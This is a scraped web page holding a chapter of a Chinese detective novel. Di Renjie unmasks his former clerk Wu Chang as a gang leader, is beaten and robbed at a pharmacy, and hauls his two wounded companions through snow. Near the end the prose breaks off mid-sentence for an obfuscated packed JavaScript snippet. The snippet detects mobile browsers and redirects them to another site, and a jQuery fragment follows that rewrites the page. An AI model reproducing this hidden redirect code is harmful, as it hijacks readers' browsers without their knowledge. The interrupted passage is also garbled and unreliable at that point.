那蒙面人的眼神中不见一丝波澜,依然用那毫无起伏的语气缓缓说道:“二十多年前,你担任仅六品的大理寺丞,于一年内判决的积压案件涉及了有一万七千人之多,却无一人喊冤,于是名震一时。当年的你是何等的风采。” 狄仁杰微微一怔,道:“过去的事,何必再提。我如今老了,不比往年了。” 蒙面人道:“不,你比过去更聪明也更有智慧了。你懂得了明哲保身,审时度势。为此,我一直就很佩服你。” 狄仁杰听出了讥讽之意,并不答话。 蒙面人又道:“那时候的你,可以为了心中的执念,做出许多匪夷所思的事来。” 狄仁杰道:“那是年少轻狂。” 蒙面人放大了声量说道:“不!那才是真正的你!那才是我真正佩服的那个狄仁杰!” 狄仁杰道:“你到底是谁?” 蒙面人道:“你为了保住自己的性命,为了自己的仕途前程,为了自己升官发财,为了不连累自己的家人,为了博得千秋美名,你终究还是背叛了自己的内心!”越到后来说得越大声。 狄仁杰忽地记起了往事,眼前仿若陷入了无底的黑洞,额头冷汗涔涔而下。 蒙面人大声道:“狄仁杰!你忘了!你忘了你的初心,忘了你的志向,忘了你的信仰!”声音震耳欲聋。 洪辉、狄宁二人见狄仁杰眼目空洞,含着泪水,身子摇摇欲坠,忙扶着他坐在了旁边一块石头上,转过身来,挺着腰刀,怒目看着那蒙面人。 狄仁杰轻轻地摇了摇头,两行泪水滴了下来。 洪辉双手放在狄仁杰肩上,说道:“先生,你不要听这恶人胡说八道。你是个好人,你是个非常好的人,否则我洪辉也不会心甘情愿地跟着你!” 狄宁道:“老爷!你是好人哪!” 蒙面人道:“狄仁杰啊,我对你太失望了!如今的你已经变成了如此虚伪之徒,一切都须要靠他人来吹嘘!” 洪辉指着蒙面人怒叫:“你给我闭嘴!你是什么东西?你也配对狄先生指指点点!” 狄宁也叫:“跟你拼了!” 二人大喝一声,一齐持刀向那蒙面人杀来。 待离得一丈近时,那蒙面人身子仍是一动不动,只斜着右手手掌,朝地上缓缓一推,登时一股猛烈的内劲将落叶吹起,仿佛一堵围墙一般击向二人。 二人大惊,慌忙后退,一面舞刀乱挥。 那飞来的枯叶虽薄薄的,却附有深厚的内力,因而接触刀刃时异常的坚硬,便如同兵器相交一般。 二人只打落了一部分,其余未挡掉的叶子一碰到了身上,立时便穿透衣裳,划破皮肉。 二人见那蒙面人就这么一下,都不像是出了什么招数,自己二人却是衣服也破了洞,手脸也出了血。 狄仁杰兀自呆呆地坐着,对眼前的事物毫无觉察,仿若进入了另外一个世界。 狄宁二人又持着刀杀过去。 那蒙面人只抬起左手朝二人轻轻一挥,二人立时感到一层气浪直压将来,不由得身子一沉,向后就倒,直摔了有丈许远,骨骼还隐隐作痛。 二人生怕他要趁机害狄仁杰,都连忙爬了起来,再次冲将去。 听那蒙面人冷笑了一声,道:“不自量力。” 又是左手朝二人一挥,只是这番幅度略大了些。 二人同时大叫一声,胸口几欲炸裂,不由自主地向后翻了几个滚,口吐鲜血,感到头昏脑胀,浑身瘫软,不由得放下了手中的刀。 狄仁杰方才清醒了过来,见二人倒在了叶海之中,似乎已经死了,不禁放声大哭,感到心灰意冷:“还破什么案子呀,都死啦,全都死啦!上天哪,我狄仁杰做错了什么,你要这么害苦我呀!或许这蒙面人说得对啊,我其实很自私。我狄仁杰也是人,也会软弱,确实也有私心啊!我的动机真的不纯吗?我是当朝宰相,年六十有七了,本可以安享清福,却不辞辛劳,甘赴万里边陲。我这么做,真的也只是完全为了自己的私心吗?我也不明白啊!”想着想着,苦笑了几声,抬起头来,望着仍是站在那里的蒙面人,叫道:“你也杀了我吧!我不活啦!” 蒙面人淡淡地道:“他们俩没死,只是受了点内伤而已。” 狄仁杰道:“你为什么不杀我?” 蒙面人道:“因为这场大戏还没有结束。” 狄仁杰一听这话,便省悟道:“原来这一切都与你有关,你才是那个幕后黑手。” 蒙面人道:“你狄仁杰自负断案如神,才能出众。可如今这片国土,内忧外患,弊病丛生,又岂是凭你一人之力所能挽回。” 狄仁杰道:“我即使无法逆转局势,也要尽我微薄之力!” 蒙面人道:“这一路上,有人误解你,嫉妒你,暗害你,恨你。你为了这些人,值得吗?” 狄仁杰道:“天下人的苦难,若是没有一个人愿意出头,那他们就只能自生自灭。我相信心中的爱,能大过一切的仇恨。所以值不值得不是你说了算,而是我自己认为值得,那就是值得。” 蒙面人冷笑一声,摇头道:“你枉活了六十余载,竟然看不透这一切。” 二人眼神相视。 狄仁杰道:“我应该认识你。” 蒙面人道:“相信你的直觉。” 狄仁杰“嗯”了一声,点头道:“这世上的事确是难以预料。没想到二十多年过去了,竟然是你在与我作对。”顿了顿,又道:“你变了。” 蒙面人道:“是你变了!因为你自己变了,所以你看所有人都变了!” 狄仁杰叹了口气,道:“难道就因为我辅佐了当今圣上?” 蒙面人道:“先帝在世之时,我们二人说好要共扶李唐,开创千古盛世。武曌不过一介女流之辈,却野心勃勃,非法篡逆。天下人人得而诛之!可她掌权了以后,你却妥协了,低头了。你不再是那个敢于为了心中的正义而奋不顾身的狄仁杰,而是一个优柔寡断的愚蠢懦夫!你选择了苟且偷生,将李氏的天下拱手让人。而如今的你还为了巩固她的地位,为了保住她的天下,鞠躬尽瘁,死而后已!你好伟大呀狄仁杰!后世会怎样评说你?会说你是大唐的千古罪人!你如今还好意思说什么为国为民,哼!你的高言大志也不过是空谈!” 狄仁杰听罢,平静地说道:“后世怎样评说,我狄仁杰是管不了了。但是我可以告诉你:我心里始终有大唐,未尝忘怀。” 蒙面人道:“那你为什么要扶持武曌?” 狄仁杰道:“因为天下不能乱!如今边关战事如火如荼,诸国联合起来一同犯境,西北战区十来个州县尽皆失守,已沦为了夷狄之地。我大唐的百姓饱受涂炭之苦,他们需要人拯救!而这只是我三个月以前还未离开京都时所知的情况。如今到底怎样了,我仍是一无所知。”又看着那蒙面人道:“彭府是你派人灭门的,彭尚书是你们劫的,搜查队是你们杀害的,军粮也是你们抢去的。你就是那个神秘的江湖组织寒刀帮的帮主!” 蒙面人哼哼冷笑,点头道:“你猜得没错,我就是寒刀帮的帮主。寒刀帮,是我创立的。” 狄仁杰道:“二十多年前,我做大理寺丞的时候,你曾是我最得力的帮手,那个长年累月与我一起查案的小吏,吴常。” 蒙面人拉下了遮面布,露出了面容。 狄仁杰仔细辨认了一番,确是这个吴常。 其实他也没怎么变,只是苍老了许多,须发都灰白了,眼神也黯淡无光了。 但在狄仁杰看来,当年那个对世界仍存向往的小伙子,如今已然面目全非。 他已经蒙上了一层永远也脱不掉的遮面布,那就是仇恨。 狄仁杰登时心里一凉,摇头道:“我不明白,你怎么会变成了这个样子?难道就为了你所谓的匡复李唐、推翻武皇,你就变得如此狠毒,去创立了什么杀手组织,只成日躲在阴暗里,做些见不得人的勾当。你说我狄仁杰变了,我也觉得你不再是从前的那个吴常了!” 吴常哼哼笑道:“是啊,彼此彼此。” 狄仁杰道:“到底是谁把你变成了这个样子?” 吴常道:“谁把我变成了这样,你难道还不知道吗?” 狄仁杰道:“你说是我?” 吴常指着他厉声道:“就是你!” 狄仁杰被他内劲一震,胸口顿感剧痛,弯下腰来喘气。 吴常面目狰狞,神态癫狂,整个人仿佛恶鬼一般凶狠地看着狄仁杰,猛然发出了凄厉恐怖的狂笑声,好像是来自地狱的声音,让狄仁杰万分惊惧,不知该要如何面对眼前这个人。吴常笑了一阵,却早流下了眼泪,他浑身颤抖地望着狄仁杰大声说道:“狄仁杰!你知道什么是悲愤的感觉吗?你懂得一个人极端的痛苦吗?你见过这人世间最极致的黑暗吗?你能想象一个人的苦难能够达到什么程度吗?你相信这世界上存在着魔鬼和地狱吗?你真的相信善恶有报吗?你相信这世上有爱与光明吗?你认为这世上受苦受难的人们还有希望吗?你认为你能够拯救世界吗?狄仁杰,你可能会以为,我接下来要讲的是关于我自己,关于那些我曾经跟你说过的我的过去,那些我至今依然认为是微不足道的过往经历,那些我曾经用它们来博得了你的怜悯的往事,你肯定会认为我正是要讲诉那些无聊的事情,对吗?但我告诉你,如果你当真这么以为,那么你就大错特错了。因为我所要讲诉的不是我自己,而是其他人,是这个世界上其他的那些受苦受难的人们,我想趁此机会向你汇报一下这个世界的真实情况,不知道你可有兴趣和耐心去听我唠叨,当然,我知道你这位满了悲悯的圣人是不会拒绝的,我说得对吗?我之所以不想去细说我自己的那些经历,首先当然是因为你狄仁杰早就已经知道了的缘故,但更重要的是,我其实并没有你想象中的那么看重我自己,我认为自己的那些经历并不算是什么痛苦,至少,跟那些真正的苦难比起来,我的过去当真是过得相当的幸福,我是这么认为的,因为我只把自己的痛苦当作是认识别人痛苦的一个过渡和桥梁,只能算得上是一个中间的媒介罢了,所以我认为它们不值一提。但这世上其他的痛苦就完全不一样了,他们遍布着这个世界上的每一个角落,他们是一个个鲜活的生命,而他们正在经历最极致的苦难,这世上的人们正在流血流泪,他们用自己的痛苦把血泪渗透到了大地当中,让这世界上的每一块土地都浸泡着血和泪。我仿佛听到了,这一个个鲜活的生命他们的哭泣声,他们的痛楚刺痛着我的眼睛和我的心,我最后的一点良知正在流着血泪,他们在深不见底的黑暗和绝望当中无奈地挣扎,他们呐喊的悲音此刻正从我的言语之中流露出来,我只想直接流露出他们绝望的呐喊,我只想质问天地为何不仁,为何以万物为刍狗。 “狄仁杰,你现在给我听好了,我来告诉你,你活在一个什么样的世界上。我曾经见到过无数个要饭的乞丐和流浪汉,他们的身躯塞满了大街小巷,各自拿着破旧的饭碗乞讨。在他们当中,竟然有无数个坐在原地不动的,他们有的是七老八十的老人,有的是十几二十来岁的青年,有的甚至是还不到十岁的小孩,他们一个个都瘦骨嶙峋,目光呆滞,仿佛行尸走肉一般苟活于世,而他们有的少了胳膊,有的又少了腿脚,还有的胳膊和腿脚都没了,完全失去了自理能力,都只能在面前摆着一个饭碗讨饭。我亲眼看到了一个手脚都没了的孩子,他吃不到自己碗里被人施舍的馒头,小小的身躯趴在地上像一条虫子一样地吃着,结果另外几个有手有脚的乞丐过来把他正在艰难地吃着的半块馒头抢走了,那孩子仍旧趴在地上,依然是面无表情,看不到一丝一毫的痛苦,也没有任何反应,因为他早已习惯了。你知道这些人的手脚是怎么回事吗?他们都不是天生残疾,而是被人故意砍断了手脚才肢体不全的!你能想象吗,狄仁杰,你说你能想像吗?!他们本来都是一群正常人,却被人给故意砍断了手脚!而你知道这么做的是什么人吗?是那些当官的。你不能想象吧,这些拿着俸禄有着万贯家财的老爷们,一边贪污受贿肆意敛财,却还嫌钱赚得不够,所以让无数无家可归的人变得更可怜,用博得路人怜悯讨来的几枚铜钱来为这群官老爷们增加一点薪俸,让他们的生活过得更加滋润一点。狄仁杰,你能想象吗?就为了多赚几枚铜钱,这些有权有势的畜生竟然如此丧尽天良,你说这群畜生该不该死?放心,这些为非作歹的东西们如今都还活得好好的,他们官官相护,一起参与了作案,都能够有幸去分一杯羹。不止这些呢,他们还跟人贩子勾结,到处去拐卖人口,尤其是那些年轻的妇女和那些小孩,这些可怜的人被卖给了那些变态的禽兽,他们被任意凌辱侵犯,他们跟奴隶一样地被虐待致死,他们的尸体被随意丢弃,因为这种被当作玩物的人太多了,死了一个还有无数个可以拿来玩弄,人命在他们看来并不值钱,践踏这些命如草芥的人们似乎是很正常的事。再说说你狄仁杰比较熟悉的战乱,那些官军杀良冒功的事情你见过许多吧?那些滥杀无辜和屠城的事你也见过吧?他们见到房屋就烧,见到女人就糟蹋,见到人就杀。我亲眼见过,他们发明了各式各样的残忍的酷刑,专门用来虐杀那些手无寸铁的老百姓。那些士兵把男女老少开膛破肚,那些军官在一旁欣喜地欣赏着,听着人们痛苦的惨叫声,看着人们痛苦的模样,让这些人的心情愉悦,他们喜欢残酷的血腥场面,他们把自己的快乐建立在人们的痛苦之上。狄仁杰,我看你听得很难过,你可真是一个善良的好人啊!只可惜,无论你听还是不听,你都无法逃避这世间的真相。你所追寻的答案就是我说的这些事情,不是你假想中的天堂和净土。有时候我想,如果有魔鬼存在,那魔鬼一定是按照人类的样子创造的,如果有地狱存在,那也一定是按照人间的样子造的。狄仁杰,你相信在这样一个充斥着魔鬼的地狱当中,会建立起一个你理想中的美好的世界吗?在这个充满了善与恶对立和千差万别的地方,你能建立起一个你梦想当中的大同世界吗?凭你狄仁杰的一己之力,你能做到改变这个黑暗的世界吗?狄仁杰,你回答我。” “吴常,”狄仁杰说道,“你说的这些我全都知道。我知道这个世界很黑暗,我也知道自己非常地渺小。也许我真的改变不了什么,但我依然要尽我所能地去做。无论再大的黑暗,也不能覆盖一支蜡烛燃烧的火光。我愿化作烛光,在黑暗之中照亮。无论再渺小,我也要闪耀出属于我自己的微茫。” 吴常狠狠说道:“我出身贫寒,父母早亡,从小帮别人打工,就为了挣那么一点吃饭的钱,受尽了各色人等的欺辱。我见那些富人可以衣食无忧,而我却要为了填饱肚子低三下四,我心里着实不甘!我于是发愤图强,一有空闲就读书习武,比平常人要努力百倍。可是又有什么用呢?还是没有一个人认可我。因为这世上的人并不看你有没有本事,而是看你有没有钱。他们只须花一点臭钱捐个官,立时便能平步青云,扶摇直上,而根本无须一点才华,就能在官场一帆风顺。而我文武皆通,却连门路都找不着,就因为我没有钱。” 说着,他眼神中突然放出了一丝光彩,“直到二十年前,一个叫狄仁杰的人当了大理寺丞,竟然只因看中了我的才华而提拔了我。他并不在乎我的出身,也没问我索要贿赂。就因为看中了我的才华,仅此而已。他使我做了他的帮手,与他一同查案。活了那么久,我终于在世上看到了一个正直的好人,一个良心尚未泯灭的人。我从此相信世上仍是有公道的,自然对世间有了美好的向往。我也曾幻想过,或许这污浊的世道,凭着我与狄仁杰,我们二人可以改变呢?我佩服他的断案之才,可是更让我佩服的是他忠于自己的内心!他不畏强权,为了正义敢于犯上,甚至牺牲自己来换取心中的梦!可是这一切毕竟都太不现实。世上的人哪一个不是自私的?哪一个没有丝毫牵挂?可是我就不是!我就可以为了这个不切实际的理想而付出一切!我早已一无所有了,又还牵挂什么呢?我的一切都建立在他身上。曾经的狄仁杰就是我吴常的梦!在他身上,我看到了世间最美好的一面,以致于我忘记了一点,那就是梦都是假的!是会破碎的!我终究还是看到了你的堕落,你对自己内心的背叛,我彻彻底底对这个世界绝望了。” 他苦笑了数声,“这个天下是谁的又与我何干?李氏当了皇帝又怎样?武曌做了皇帝又于我何碍呢?可是你啊,你不一样,因为你是狄仁杰!你是独一的!你不能是两个不一样的人!你只能是那个完美的狄仁杰,那个从未变过的狄仁杰!而这个完美的狄仁杰,我是在皇帝姓李的时候见到的。所以后来皇帝姓了武,这个完美的狄仁杰就该去拼死反抗,而不是妥协!你应该忠于李唐到底,就像忠于自己的内心那样!狄仁杰,我的梦啊!你终于破碎啦!我恨,我恨哪!我恨这个世界,我恨所有的人!这些无耻虚伪的人们,都是假的,假的!我发现了世上只有钱财是最真实的保障,利益也才是唯一的法则!有了钱,人才是人!所以只要谁愿意给我钱,我就很乐意帮他杀人。哈哈哈哈!我跟你说啊,只要我一杀人哪,我心里就感到无比的畅快!哈哈哈哈哈!其实这个世界上啊,活的人或许比死的还痛苦呢,你说是不是?所以被我杀的那些人,他们应该感谢我啊,我是在帮他们解脱呢!哈哈哈!你想保住天下不乱?我偏偏要天下大乱!我要世人都死光光!或许人不再存在的时候,这个世间才能真正的太平……”说着,眼眶湿了。 狄仁杰听了,含泪道:“我狄仁杰从来就不是完美的,可是我愿意坚持下去,因为我心中的理想仍在。我不值得你寄托,你又何必为难自己?可如今的你难道不比那些你所痛恨的人更为不堪吗?你害死了有多少无辜的性命,你心里就没有过一丝愧疚吗?我知道,我这话对你这么一个杀人如麻的人说来,实在是无益,因为你根本就听不进去了,也不愿意去听了。” 吴常听了,低下头来。 狄仁杰缓缓走近几步,说道:“吴常,收手吧。现在回头还来得及。” 吴常道:“回不去了。” 狄仁杰道:“可以的,随时都可以。” 吴常用坚定的眼神望着狄仁杰,道:“从前跟你断过上万个案子,我从未赢过你一次。这次,我要赢你。” 狄仁杰听了怒道:“我不跟你赌!人命关天,岂是赌输赢的筹码!” 吴常冷笑道:“你是怕了,不敢接受我的挑战吗?这次我不但跟你赌输赢,亦决生死!” 狄仁杰此刻仿佛又回到了二十多年前,不觉热血沸腾,脱口而出道:“好!我狄仁杰奉陪到底!我是不会让你们阴谋得逞的!” 听得吴常几声哈哈大笑,又是一阵狂风刮得漫天落叶。 待落叶又都铺回了地上,那蒙面人却早已不知去向了。 狄仁杰此刻恍若从梦中醒了来,忙走到狄宁、洪辉跟前,探了探二人鼻息,方松了口气。 原来二人只是受了重伤,昏迷在地,并未死去。 狄仁杰半日方将二人拖到了石头旁靠着,从包裹中拿出皮壶来,拔开盖子,送到二人口边喂水,水却连一滴也喂不进去。 狄仁杰忙用自己袖子替他们擦了擦水,又替他们把脉,皱眉想道:“糟糕,他们的内伤非常严重,只恐命在旦夕。” 四顾望去,除了光秃秃的树木,就是遍地的枯叶。 狄仁杰遂将二人一左一右两条手臂放在了自己脖子上,一面拖住他二人的身子,独自承担了二人的体重,一步一步地慢慢走着。 行了半日,实在是累得不行了,停下来略歇了歇,又起身扶着二人继续走。 狄仁杰毕竟老迈,体力不支,只行了不到几里路,天色便已暗了下来。 遂将二人放在树旁,从包裹里拿出干粮来,也只剩下一小块面饼了。 狄仁杰虽饿了,却怕二人醒来没东西吃,遂将饼又放了回去,合眼睡了一夜。 次日五更醒来,怕没力气行路,遂配水吃了一两口饼,又扶着昏迷的二人行。 仍是走一段路,便停下来喘会儿,又继续行。 晚间在一个山坡边上歇下,睡了一两个时辰,肚子饿醒了,拿出面饼来配水又吃了一两口。又想狄宁二人虽然昏迷,却也不能不吃不喝,遂将面饼掰碎,放在二人嘴里,又用水喂他们,好容易才喂进了些许。 自己又睡了一觉。 醒来时天尚未亮,狄仁杰却担心干粮用尽,无处觅食,荒山野岭的不能久留,于是扶着二人又行路。 这日午时,见路旁有一倾塌的茅屋,边上有一中等大小的木制推车,上面摆着几捆稻草。 狄仁杰遂将稻草拿掉,将洪辉二人安放在车上,推着车行走。 这却也不比扶着走轻松,只因推车本身就有重量,又放了两个人。然也总是方便许多。 到了晚上,发现面饼只剩一丁点了,水壶也几乎空了。 狄仁杰忍着饥渴,将食物和水都喂给了二人。 行了一天,狄仁杰感到浑身酸软,但想再这么下去,只怕要活活饿死。且洪辉二人还时不时吐血,显然受伤甚重,实在不能再耽搁了。遂熬着困倦连夜行路。 这日沿着官道来至一小市镇,花了一两银子买了许多馒头,又要了碗水,先喂二人吃了几块捏碎了的馒头,自己方食。 出门推着车找了半日,寻到了一家药铺。 遂入内一看,见一排排小格子,上面写着药名。 柜台一人正拿着秤砣抓药,一见了狄仁杰,以为是叫花子,冷笑问:“干吗的?” 狄仁杰正看着药名,心里想着用何药材:“二人失血过多,面色苍白,用当归、熟地黄、白芍……”见柜台那人问他,忙“哦”了一声,说道:“我来买药。” 柜台那人不信道:“你买得起吗?” 狄仁杰道:“我有银子。” 那人道:“多少?” 狄仁杰道:“反正够了。” 那人道:“我这店药材可都名贵得很,只怕你买不起。” 狄仁杰道:“五两银子还不够吗?” 那人道:“你有五两?” 狄仁杰道:“有,就在包裹里。你是掌柜?” 那人“嗯”了一声。 狄仁杰道:“好,你帮我抓一点当归……” 掌柜道:“慢,你要干吗?” 狄仁杰道:“买药啊。” 掌柜摆摆手,道:“我这店从不直接卖药。” 狄仁杰道:“什么意思?” 掌柜道:“我得先给病人看了病以后,决定了要开什么药方,然后再抓药。” 狄仁杰道:“那你看病要钱吗?” 掌柜瞪眼道:“什么话!不要钱我开店?” 狄仁杰道:“我也略知一些医理,你就按我说的抓药吧。要真出了事,也不用你负责。” 掌柜手一挥,道:“没这回事。你个老叫花子哪懂得什么医理。” 狄仁杰道:“你也不能以貌取人哪。” 掌柜道:“横竖这是我店里的规矩,必须先看病,再抓药。” 狄仁杰道:“好吧,你要多少钱?” 掌柜道:“那可说不准,得根据病人的身体状况来决定。病得越重的,价钱自然高些。”指着狄仁杰道:“你就是病人?” 狄仁杰道:“哦不,是门外推车上那二人,他们昏迷了。” 掌柜道:“你要给他二人看病吗?” 狄仁杰道:“是,麻烦掌柜帮着看看,可还有救。” 掌柜道:“行,我去瞧瞧。” 回头叫伙计:“我出去看个病去,你到柜台来。”伙计过来了。 掌柜嘱咐他道:“方才钱老爷派人送了药方来,说要抓那几位药,你赶紧地先抓了,到时候给送过去。” 遂跟着狄仁杰出外,见了推车上洪辉二人,把起了脉。 狄仁杰见那掌柜把了许久,只是皱个眉不说话。 又等了会儿,问道:“掌柜,他们二人有救吗?” 掌柜清清嗓子道:“没问题。” 狄仁杰道:“怎么会没问题呢?” 掌柜道:“没问题就是没问题。” 狄仁杰道:“他们二人一眼看过去都知道病得很严重,你怎么把完脉会说没问题?他们二人明显气血双亏,内脏受损,你……” 掌柜手一挥,道:“你别胡思乱想了,回去好好养养就好了,有什么嘛。” 狄仁杰只是叹了口气,也没说什么,推着车就要走。 掌柜突然拉住道:“等会儿,我白给你看病啊?” 狄仁杰道:“你既然病都看了,那能帮我去抓药了吗?抓了药以后,我自然会付钱。” 掌柜道:“这二人根本就没病,开什么药?” 狄仁杰道:“不给我开药,我难不成还得付钱给你?” 掌柜道:“药钱是药钱,看病钱是看病钱!” 狄仁杰道:“你根本就没有好好看病,什么看病钱!” 掌柜道:“你先付了看病钱,我自然可以给你开药。” 狄仁杰道:“你要多少?” 掌柜冷笑道:“只怕你连看病钱都付不起!六两银子。” 狄仁杰道:“就你这样什么都没有做,还要六两银子?” 掌柜道:“我这店看病历来就是六两。” 狄仁杰道:“你刚才说病人病得越严重,价钱才越高。照你说要六两银子,那看来我这二人病得是很严重了?” 掌柜道:“那当然。” 狄仁杰道:“你的话自相矛盾!你才说二人没病,现在又说很严重?” 掌柜恼羞成怒,道:“你到底给不给钱?” 狄仁杰道:“我要走了。” 掌柜叫道:“不许走!”又叫:“来人哪!这人不付钱要跑!”登时几个伙计冲了出来。 狄仁杰本就忧思重重,不由得长叹一声,道:“你们不要逼我了好不好?这二人对我很重要,他们如今命在垂危,我要给他们治病呢。” 掌柜道:“你给了看病钱就可以走了!” 狄仁杰道:“我身上只有五两银子。” 掌柜道:“那就当便宜了你一两,就只要你五两银子,满意了吧?快拿来!” 狄仁杰道:“你们别这样好不好?做人不能太坏,上天会报应。” 伙计们都怒道:“老东西,你还敢咒我们!” 掌柜指着叫道:“银子就在他身上包裹里!” 几个伙计登时冲过来扯住狄仁杰,一拳打在他脸上,又踹了几脚。狄仁杰“哎哟”一声,摔在了地上,被那些人给扯住了包裹。 狄仁杰这时只想:“这是最后的盘缠了,要是没了我们就要死了!”遂使劲抱住包裹,不让他们夺。 那些伙计当街对他拳打脚踢,过路人见了,都围在四周看热闹说笑。 包裹还是被那些伙计给抢了去,散了开来,里面皮壶、馒头、银两还有几件冬衣掉得满地都是。 那些伙计一面抢了那五两银子,一面捡起那几件孟贤给的冬衣,笑道:“这叫花子身上穿的脏兮兮,倒有几件不错的冬衣啊!”也都抢了去。一面取笑,还故意把馒头踢得到处乱滚,又把皮水壶踩烂。 嘲笑声中,众人一时都散去了。 街上空荡荡,只有一阵凉风吹来,几片枯叶在地上滑动。 狄仁杰捡着散落一地的馒头,默默地流泪。此时心中有种说不出来的感觉,不觉哈哈笑了几声,又转为苦笑。爬起身来,将馒头放在了推车上,又走到了那药铺门前,脑海中一片空白,见那掌柜和几个伙计正在说笑,只指着他们叫道:“你们还我那五两银子!” 那些人朝门口一望,见这位被打得鼻青脸肿、浑身衣服都被扯破了的老叫花,竟然敢上门来要银子,不觉皆呆了呆,又都哄堂大笑了起来,指着笑道:“老东西,你还没被打够呢!” 狄仁杰朗声道:“吾乃当朝宰相狄仁杰,奉当今旨意前来办案!皇上亲封我为钦差大臣,还赐予了我便宜行事之权,凡事皆可先斩后奏!尔等该当协助我才是,何乃要夺取吾钱财耶!” 那些人又呆了呆,包括闻声而来的围观群众,登时皆笑得前仰后合。 那药铺掌柜笑问道:“你说你是当朝宰相?证明给我们看啊!”众人又大笑,一面讥讽他。 狄仁杰这时方清醒,明知自己是伤心过了度,已然有些神志不清了。遂立时穿过人群,推着车自去了。一路上只闻得后方嘲笑之声回荡耳际。待渐渐不闻时,方知已离得远了。 天晚在林间歇下,狄仁杰浑身青一块紫一块的,痛得都麻木了。 在黑暗中数着馒头,只剩下七个了。 狄仁杰拿起一个来,用手掸了掸,又在嘴边吹了吹,只吃了一小口,便将剩余的都喂给了狄宁二人。 此时累得眼皮一下子就合上了。 睡了没多久,又推着车继续行路。 接连行了有三日,六个馒头都用完了。 狄仁杰三日一共也就吃了六口馒头充饥,喝了些冰冷的河水解渴,睡了几个时辰的觉养神。如此,便是那壮健之人的身体也要垮掉了,何况这位体弱多病的老年人。 狄仁杰却早将生死置之度外了,丝毫不为自己考虑。 见洪辉二人兀自未醒,只想:“他们二人都没怎么好好进食,病情又恶化了,该怎么办哪?” 寒冷的夜风吹在伤口上,有刺痛的感觉。 接下来的几日,行到了荒山深处,人烟愈加稀少。 初冬的天气更为凉了,遍地的枯叶都铺了一层薄薄的霜。 狄仁杰起始还能捡到些残留的野果,到后来就只能吃树叶了。 这日狄宁、洪辉二人咳了几声,总算是醒了过来,浑身上下却连一丝气力也无。 狄仁杰忙叫他们躺着别动,又将近来的事略说了一遍。 言语之中,却并未丝毫夸大自己所受之苦。 虽然如此,二人却仍是听得痛哭流涕。 洪辉更是哭叫:“先生!你就别管我洪辉了!只救狄宁哥一人就行!否则我这么拖累了你,你几时才能到达边关?” 狄宁听洪辉这么说,哭得愈加厉害了,也叫:“老爷!你千万只救洪辉兄弟一人,别管我了!我狄宁跟了你一趟,心满意足了,不怕死!” 狄仁杰摆了摆手,道:“你们都不要再说了,我狄仁杰并非什么伟大的人。我纵然没有能力挽救天下,却也要带着你们两个一起走下去。” 这日彤云密布,朔风凛冽,纷纷扬扬地下起了大雪。 官路大道上的泥土已经被覆盖了一层皑皑白雪,两旁杂乱的树木连着远方绵延的群山,放眼望去,尽是白茫茫一片。 狄仁杰与木车上二人浑身都沾满了新落下的雪花,一时化作了雪水,凉意刺骨。 洪辉、狄宁二人养了一阵,身体虽略好了些,可以坐起来了,然还是无法行走。 狄仁杰推着车,脚上的布鞋漏了洞,踏着冰雪的双脚都被冻麻了。 二人知道狄仁杰鞋子破了,本想跟他换,却见自己二人的布履也已烂了,比之狄仁杰那双更甚。 二人想着,本该由我们来服侍才对,自己二人却跟残废了似的,只能呆坐着,眼看着狄仁杰因自己二人而受苦,心中实在是万分过意不去。 这一路之上,二人的眼睛就未曾干过,总是含着泪水,望向狄仁杰的眼神中又是感激又是愧疚。 二人每过一时便叫狄仁杰停下来歇一歇。 狄仁杰知道二人可怜自己,却累得说不出话来了,只能以轻轻的微笑作为回答。 二人见狄仁杰气喘频频,推着车的双手不停地在颤抖,都已经冻僵了,却仍是勉力支撑。 狄仁杰见他们放声大哭,强笑道:“你们……不要哭……眼泪要在脸上……结冰了……”一面说着,双脚再也抵受不住寒冷,不由得手一松,整个人在路旁倒下了。 二人只是“老爷”“先生”的哭叫。 狄仁杰缓缓爬了起来,颤道:“我没事……就是……有点冷……我好冷啊……”一面又推着车走了起来。 狄宁二人都不知要说些什么好了,只是不停地在哭泣。 行了数日,四周依然荒无人烟。 三人饿了时候,就在路旁随便抓一把枯叶往嘴里塞,味道虽又干又苦,然在饥饿之际嚼着,却是异常的香甜。 渴时就吃点雪,只是太过冰冷了,常常会犯胃痛。 那雪越下越大,迎面而来的北风刮在脸上仿佛刀割一般。 狄仁杰时不时便失去意识,倒在了冰天雪地里,立时又被冻得清醒了过来,爬起身便继续推车行路。 又过了几时,大雪虽住了,地上却足足铺了有两尺多厚。 狄仁杰长时间浸在其中,双腿麻木,步伐变得更加缓慢了。 且雪太高了,那木车本就不好推,现又卡在了雪堆里,阻力更甚,基本上一直是在原地打转。 洪辉二人如今已经恢复到双臂能动了,常叫狄仁杰上车来,帮他搓腿驱寒。 后来连枯叶也挖不到了,就算有些许残渣,也都被雪水给泡烂了。 狄仁杰只好去寻些树枝来,三人硬啃着吃。 虽然可以充饥,却也着实粗糙,咽得喉咙难受。 狄仁杰费尽全力,好容易行过了崎岖的山道。 自身却因长时被冰水浸泡,染上了风寒,感到头重脚轻,胸口发闷,只不停地咳嗽。 此时浑身上下连一丝气力也没了,实在是推不动车了。 洪辉、狄宁二人已是感动至极。 狄仁杰却痛感歉疚,自责道:“我……我没用啊,连你们二人……都救不了,我……我对不住你们……”一面咳个不停。 二人忙替他揉胸捶背,哭道:“你已经尽力了,不要这么说。” 狄仁杰突然抬起头,说道:“不,我还没有尽力,我还没有尽我的全力!我老了,六十多年我也活够了,你们两个年轻人哪,路还长,我一定要保你们活下去。记住我的话:要勇敢地活下去!” 随即跳下车来,用力握住把手,使劲全力向前推行。 二人泪如泉涌,心里只求上天保佑好人。 又行了数日,几人只是吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051984|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树枝喝雪水的,肠胃难受也就算了,问题是就这样还吃不饱呢。 更糟糕的是,地上的积雪竟然一层层地结了冰,一夜之间便凝固了起来。 这下好,木车彻底卡在了原地,连一步也动不得了。 幸亏狄仁杰夜间睡觉时上了车,否则再多待一时,双腿可能都拔不出来了。 洪辉二人虽然恢复到腿脚略微能动了,却也还是无法站起身来行走。 